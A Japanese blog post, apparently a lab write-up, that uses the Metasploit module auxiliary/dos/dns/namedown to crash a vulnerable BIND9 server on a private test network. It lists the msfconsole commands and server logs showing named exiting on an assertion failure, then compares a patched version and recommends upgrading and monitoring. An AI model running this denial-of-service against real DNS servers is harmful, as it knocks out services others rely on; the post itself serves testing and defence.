BIND9用のMetasploit Module を使ってみる【攻撃編】
準備ができたら攻撃検証開始!
攻撃環境
やられサーバ(CentOS 6.6)
- IP 192.168.10.21
攻撃側(Kali Linux)
- IP 192.168.10.20
やられサーバ側でBINDの起動を確認
ps awux | grep -v grep | grep bind
BINDの起動を確認できたら攻撃側へ
攻撃側でとりあえずnmapしてみた。
53番のオープンを確認
攻撃開始
msfconsole
use auxiliary/dos/dns/namedown
optionの確認
show options
optionsの入力
set RHOSTS 192.168.10.21
設定の確認
必要事項を入力したら実行!
run
攻撃が成功しているようなメッセージが表示される。
やられサーバ側を確認する。
ps awux | grep -v grep | grep bind
BINDの起動が確認できない。
ログの確認
cat /var/log/messages
Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)
攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。
Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed
buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。
Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)
次の行ではassertion failureでexiting(終了)している。
ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合
攻撃側
失敗してるようなメッセージ・・・。
やられ側
ログの確認
Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)
攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。
結論
出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。
それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)